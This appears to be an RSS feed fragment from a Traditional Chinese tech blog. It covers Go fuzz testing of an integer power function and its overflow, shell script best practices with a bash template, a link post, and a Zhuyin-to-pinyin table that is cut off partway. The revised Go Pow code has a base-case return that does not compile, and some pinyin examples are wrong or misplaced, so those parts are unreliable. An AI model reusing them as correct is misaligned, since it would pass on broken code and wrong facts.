&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">FuzzPow&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">F&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fuzz&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>), uint(&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>), &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">2&lt;/span>), &lt;span style="color:#a6e22e">x&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">x&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">y&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>go test -fuzz=Fuzz -fuzztime 20s&lt;/code>&lt;/p>
&lt;ul>
&lt;li>在做 Fuzzing Test 的時候如果跑一跑 FAIL 了，Go 會幫忙把那組 input 記在 testcase/ 裡面&lt;/li>
&lt;li>看了之後會發現在 x=6、y=30 時 assert 會失敗，也就是說 pow(6, 30)/6 不會等於 pow(6, 29)。但這也太奇怪了吧？仔細實驗之後才發現是因為在計算 pow(6, 30) 的時候會發生 overflow。&lt;/li>
&lt;li>因為 Go 定義的 max.MaxUint 大約是 &lt;code>18 * 10¹⁸&lt;/code>，但 &lt;code>6²⁹&lt;/code> 大概是 &lt;code>7 * 10¹⁸&lt;/code>。如果把 &lt;code>6²⁹&lt;/code> 再乘上 6，就會發生 overflow 得到 &lt;code>8 * 10¹⁸&lt;/code>，很像繞了操場兩圈結果在跟原本差不多的位置。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> = &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Errorf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;overflow&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) (&lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#66d9ef">error&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">prevResult&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">MaxUint&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">base&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">prevResult&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#a6e22e">ErrOverflow&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">prevResult&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">FuzzPow&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">F&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fuzz&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>); &lt;span style="color:#a6e22e">x&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">y&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">ErrOverflow&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultDivX&lt;/span>, &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">result&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">resultDivX&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Shell Script 最佳實務</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221103-shell-script-best-practices/</link><pubDate>Thu, 03 Nov 2022 16:51:11 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221103-shell-script-best-practices/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://sharats.me/posts/shell-script-best-practices/" target="_blank" rel="noopener">Shell Script 最佳實務&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="重點">重點&lt;/h4>
&lt;ol>
&lt;li>第一行就用 &lt;code>#!/usr/bin/env bash&lt;/code>。&lt;/li>
&lt;li>檔案使用 &lt;code>.sh&lt;/code>（或 &lt;code>.bash&lt;/code>）副檔名。&lt;/li>
&lt;li>在腳本開頭使用 &lt;code>set -o errexit&lt;/code>。&lt;/li>
&lt;li>也建議使用 &lt;code>set -o nounset&lt;/code>。
&lt;ol>
&lt;li>用 &lt;code>&amp;quot;${VARNAME-}&amp;quot;&lt;/code> 取代 &lt;code>&amp;quot;$VARNAME&amp;quot;&lt;/code>&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>使用 &lt;code>set -o pipefail&lt;/code>。&lt;/li>
&lt;li>使用 &lt;code>set -o xtrace&lt;/code>，並檢查 &lt;code>$TRACE&lt;/code> 環境變數。
&lt;ol>
&lt;li>&lt;code>if [[ &amp;quot;${TRACE-0}&amp;quot; == &amp;quot;1&amp;quot; ]]; then set -o xtrace; fi&lt;/code>&lt;/li>
&lt;li>使用者可以透過 &lt;code>TRACE=1 ./script.sh&lt;/code> 啟用除錯模式，而不是 &lt;code>./script.sh&lt;/code>。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>&lt;code>if&lt;/code> / &lt;code>while&lt;/code> 條件使用 &lt;code>[[ ]]&lt;/code>，而不是 &lt;code>[ ]&lt;/code> 或 &lt;code>test&lt;/code>。&lt;/li>
&lt;li>變數存取一律用雙引號包住。&lt;/li>
&lt;li>在函式中使用 &lt;code>local&lt;/code> 變數。&lt;/li>
&lt;li>輸出錯誤訊息時請導向 stderr。
&lt;ol>
&lt;li>例如 &lt;code>echo 'Something unexpected happened' &amp;gt;&amp;amp;2&lt;/code>。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>能用長選項就用長選項（例如 &lt;code>--silent&lt;/code> 取代 &lt;code>-s&lt;/code>）。&lt;/li>
&lt;li>適合的話，腳本開頭就切換到腳本所在目錄。
&lt;ol>
&lt;li>可用 &lt;code>cd &amp;quot;$(dirname &amp;quot;$0&amp;quot;)&amp;quot;&lt;/code>，多數情況可用。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>使用 &lt;code>shellcheck&lt;/code> 並留意其警告。&lt;/li>
&lt;/ol>
&lt;h4 id="範本">範本&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o errexit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o nounset
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>set -o pipefail
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>TRACE-0&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;1&amp;#34;&lt;/span> &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> set -o xtrace
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[[&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>1-&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&lt;/span>~ ^-*h&lt;span style="color:#f92672">(&lt;/span>elp&lt;span style="color:#f92672">)&lt;/span>?$ &lt;span style="color:#f92672">]]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#39;Usage: ./script.sh arg-one arg-two
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">This is an awesome bash script to make your life better.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>dirname &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$0&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#66d9ef">do&lt;/span> awesome stuff
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>main &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$@&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>命令列的藝術</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221102-the-art-of-command-line/</link><pubDate>Wed, 02 Nov 2022 15:04:37 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221102-the-art-of-command-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/jlevy/the-art-of-command-line" target="_blank" rel="noopener">命令列的藝術&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>一張圖學會【拼音輸入法】</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221025-zhuyin-pinyin/</link><pubDate>Tue, 25 Oct 2022 11:57:51 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221025-zhuyin-pinyin/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://briian.com/zhuyin-pinyin" target="_blank" rel="noopener">一張圖學會【拼音輸入法】&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="聲母initials">聲母（Initials）&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>聲母&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ㄅ&lt;/td>
&lt;td>b&lt;/td>
&lt;td>爸 ba、別 bie、奔 ben&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄆ&lt;/td>
&lt;td>p&lt;/td>
&lt;td>撇 pie、平 ping、鵬 peng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄇ&lt;/td>
&lt;td>m&lt;/td>
&lt;td>媽 ma、莫 mo、某 mou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄈ&lt;/td>
&lt;td>f&lt;/td>
&lt;td>發 fa、飯 fan、風 feng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄉ&lt;/td>
&lt;td>d&lt;/td>
&lt;td>的 d、但 dan、段 duan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄊ&lt;/td>
&lt;td>t&lt;/td>
&lt;td>他 ta、貼 tie、團 tuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄋ&lt;/td>
&lt;td>n&lt;/td>
&lt;td>你 ni、農 nong、暖 nuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄌ&lt;/td>
&lt;td>l&lt;/td>
&lt;td>李 li、亂 luan、亮 liang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄍ&lt;/td>
&lt;td>g&lt;/td>
&lt;td>跟 gen、怪 guai、灌 guan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄎ&lt;/td>
&lt;td>k&lt;/td>
&lt;td>快 kuai、考 kao、狂 kuang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄏ&lt;/td>
&lt;td>h&lt;/td>
&lt;td>哈 ha、漢 han、橫 heng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄐ&lt;/td>
&lt;td>j&lt;/td>
&lt;td>叫 jiao、雞 ji、京 jing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄑ&lt;/td>
&lt;td>q&lt;/td>
&lt;td>七 qi、琴 qin、巧 qiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄒ&lt;/td>
&lt;td>x&lt;/td>
&lt;td>西 xi、寫 xie、小 xiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄓ&lt;/td>
&lt;td>zh&lt;/td>
&lt;td>知 zhi、戰 zhan、正 zheng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄔ&lt;/td>
&lt;td>ch&lt;/td>
&lt;td>吃 chi、船 chuan、重 chong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄕ&lt;/td>
&lt;td>sh&lt;/td>
&lt;td>是 shi、山 shan、刷 shuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄖ&lt;/td>
&lt;td>r&lt;/td>
&lt;td>日 ri、讓 rang、人 ren&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄗ&lt;/td>
&lt;td>z&lt;/td>
&lt;td>字 zi、讚 zan、昨 zuo&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄘ&lt;/td>
&lt;td>c&lt;/td>
&lt;td>次 ci、菜 cai、餐 can&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄙ&lt;/td>
&lt;td>s&lt;/td>
&lt;td>三 san、四 si、算 suan&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="介音--特殊聲母">介音 / 特殊聲母&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>類型&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>y&lt;/td>
&lt;td>yi / i&lt;/td>
&lt;td>以 yi、依 yi、修 xiu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>w&lt;/td>
&lt;td>wu / u&lt;/td>
&lt;td>無 wu、溫 wen、船 chuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>v&lt;/td>
&lt;td>yu / ü&lt;/td>
&lt;td>律 lü、雨 yu、院 yuan&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="單韻母finals">單韻母（Finals）&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>韻母&lt;/th>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ㄚ&lt;/td>
&lt;td>a&lt;/td>
&lt;td>沙 sha、撒 sa、奧 ao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄛ&lt;/td>
&lt;td>o&lt;/td>
&lt;td>哦 o、偶 ou、歐 ou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄜ&lt;/td>
&lt;td>e&lt;/td>
&lt;td>餓 e、樂 le、設 she&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄝ&lt;/td>
&lt;td>ê / ye&lt;/td>
&lt;td>也 ye、學 xue、切 qie&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄞ&lt;/td>
&lt;td>ai&lt;/td>
&lt;td>愛 ai、篩 shai、崖 yai&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄟ&lt;/td>
&lt;td>ei&lt;/td>
&lt;td>雷 lei、最 zui、脆 cui&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄠ&lt;/td>
&lt;td>ao&lt;/td>
&lt;td>凹 ao、老 lao、笑 xiao&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄡ&lt;/td>
&lt;td>ou&lt;/td>
&lt;td>歐 ou、樓 lou、手 shou&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄢ&lt;/td>
&lt;td>an&lt;/td>
&lt;td>安 an、蘭 lan、算 suan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄣ&lt;/td>
&lt;td>en&lt;/td>
&lt;td>恩 en、林 lin、冷 leng&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄤ&lt;/td>
&lt;td>ang&lt;/td>
&lt;td>昂 ang、浪 lang、讓 rang&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄥ&lt;/td>
&lt;td>eng&lt;/td>
&lt;td>成 cheng、冷 leng、令 ling&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ㄦ&lt;/td>
&lt;td>er&lt;/td>
&lt;td>二 er、兒 er、而 er&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="複韻母--組合韻">複韻母 / 組合韻&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>拼音&lt;/th>
&lt;th>例字&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>ye&lt;/td>
&lt;td>也 ye、結 jie、血 xie&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>iu&lt;/td>
&lt;td>六 liu、有 you、謬 miu&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>in&lt;/td>
&lt;td>音 yin、新 xin、林 lin&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ing&lt;/td>
&lt;td>英 ying、靈 ling、醒 xing&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>uan&lt;/td>
&lt;td>元 yuan、卷 juan、團 tuan&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ue&lt;/td>
&lt;td>略 lue、學 xue&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>yun&lt;/td>
&lt;td>雲 yun、巡 xun、群 qun&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ong&lt;/td>
&lt;td>用 yong、兇 xiong、同 tong&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ui&lt;/td>
&lt;td>鬼 gui、為 wei、虧 kui&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>un&lt;/td>
&lt;td>文 wen、混 hun、準 zhun&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>ua&lt;/td>
&lt;td>華 hua、抓 zhua、蛙 wa&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>uai&lt;/td>
&lt;td>壞 huai、快 kuai、踹 chuai&lt;/td>
&lt;/tr>
&lt;/tbody>
